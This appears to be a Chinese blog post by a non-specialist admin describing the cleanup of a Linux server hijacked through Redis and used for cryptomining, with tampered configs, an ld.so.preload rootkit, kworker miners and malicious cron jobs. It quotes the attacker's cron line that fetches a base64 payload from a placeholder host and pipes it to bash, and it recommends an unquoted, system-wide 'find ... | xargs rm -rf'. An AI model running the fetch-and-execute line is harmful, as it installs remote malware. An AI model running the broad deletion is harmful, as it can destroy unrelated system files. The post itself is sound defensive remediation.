这几天很蛋疼,非常非常的疼。 阿里云服务器总被黑,权限也禁了,该弄的都弄了,还是被黑....
只能怪自己不是个专职的运维...诶...
总体状态: 服务器被绑,放了后门程序,各种挖矿...丧心病狂...为什么中国这么不重视互联网呢?不嘴炮了。
因为个人运维技术不到位,目前只发现一点点蛛丝马迹...
redis配置文件被篡改, redis被存入curl命令,配置文件被指定写入路径。总之,请检查redis配置文件与dump.rdb文件,与原文件对比是否被篡改了。值得注意的是,log日志路径如果是空,基本上说明,redis被绑架了
如果断定redis被绑了,一定要删除掉redis的镜像文件。要搜索全盘!就算你不删除掉,它也会无限读取镜像,覆盖掉你redis中的数据。
/etc/ld.so.preload;这个文件,无论服务器执行什么命令,它都会先执行一次。很恶心啊。不知道如何搞掉它。 /usr/local/lib/libntp.so;这个文件,是上面/etc/ld.so.preload里面所指定的一个程序。效果,应该是查看进程时无法发现cup占用率,篡改了底层监控什么什么的。
这两个文件,也可能是其他的名称或路径....
最后,root用户下的contab -e ,与/etc/cron.d/root的配置~看一下,是不是已经有你不认识的任务啦?
找到crontab -e 中的地址,找出它所属的ip,禁掉它。
找到挖矿程序,干掉它 /etc/rc.d/init.d/kworker /usr/sbin/kworker
再删掉/etc/ld.so.preload;/usr/local/lib/libntp.so;/etc/rc.d/init.d/kworker;/usr/sbin/kworker之后,深度睡眠的程序会启动 使用下面命令,查出干坏事的ip
lsof -c 命令名称或者绝对路径 -c apache
禁止某ip访问或访问某ip
iptables -A OUTPUT -d 192.168.1.11 -j REJECT
iptables -A INPUT -d 192.168.1.11 -j REJECT
然后再查看一下你的/tmp中,是否有不认识的文件,宰掉~
查找出所有kworker相关的,删掉
find / -name *kworker* | xargs rm -rf
最后:
systemctl stop kworker.service
systemctl is-enabled kworker.service;echo $?
find / -name *kworker* | xargs rm -rf
如果 /usr/bin/kworkerds 文件还会自动生成,那就给它造个假的,然后0权限。给个无用用户权限。
删除掉/etc/cron.d/下的root文件与system文件,这两个文件应该是罪魁祸首
查看/etc/cron的其他文件或cron文件夹下的其他文件。看是否有类似
curl -fsSL https://xxx || wget -q -O- https://xxx|base64 -d |/bin/bash
的内容。
譬如:/etc/crontab;/ect/cron.daily/下的某一文件;等等,所有的定时任务都要检查。有问题的,比对一下,确认后,干掉。
还要注意下:是否有这个文件 /usr/bin/httpdns 或 /bin/httpdns ,干掉
⚠️⚠️ 注意:这个文件夹:/var/spool/cron ,/var/spool/cron/crontabs,这两个文件夹下的定时文件检查一下,还隐藏着一个定时的小后门,记得把里面的定时任务干掉;不是删除文件,是删除定时任务;
以上,基本就可以解决redis被劫持问题。
时间紧,不多些,至少自己能懂。大家要是看不懂...欢迎提问
来源:oschina
链接:https://my.oschina.net/u/3826227/blog/1942153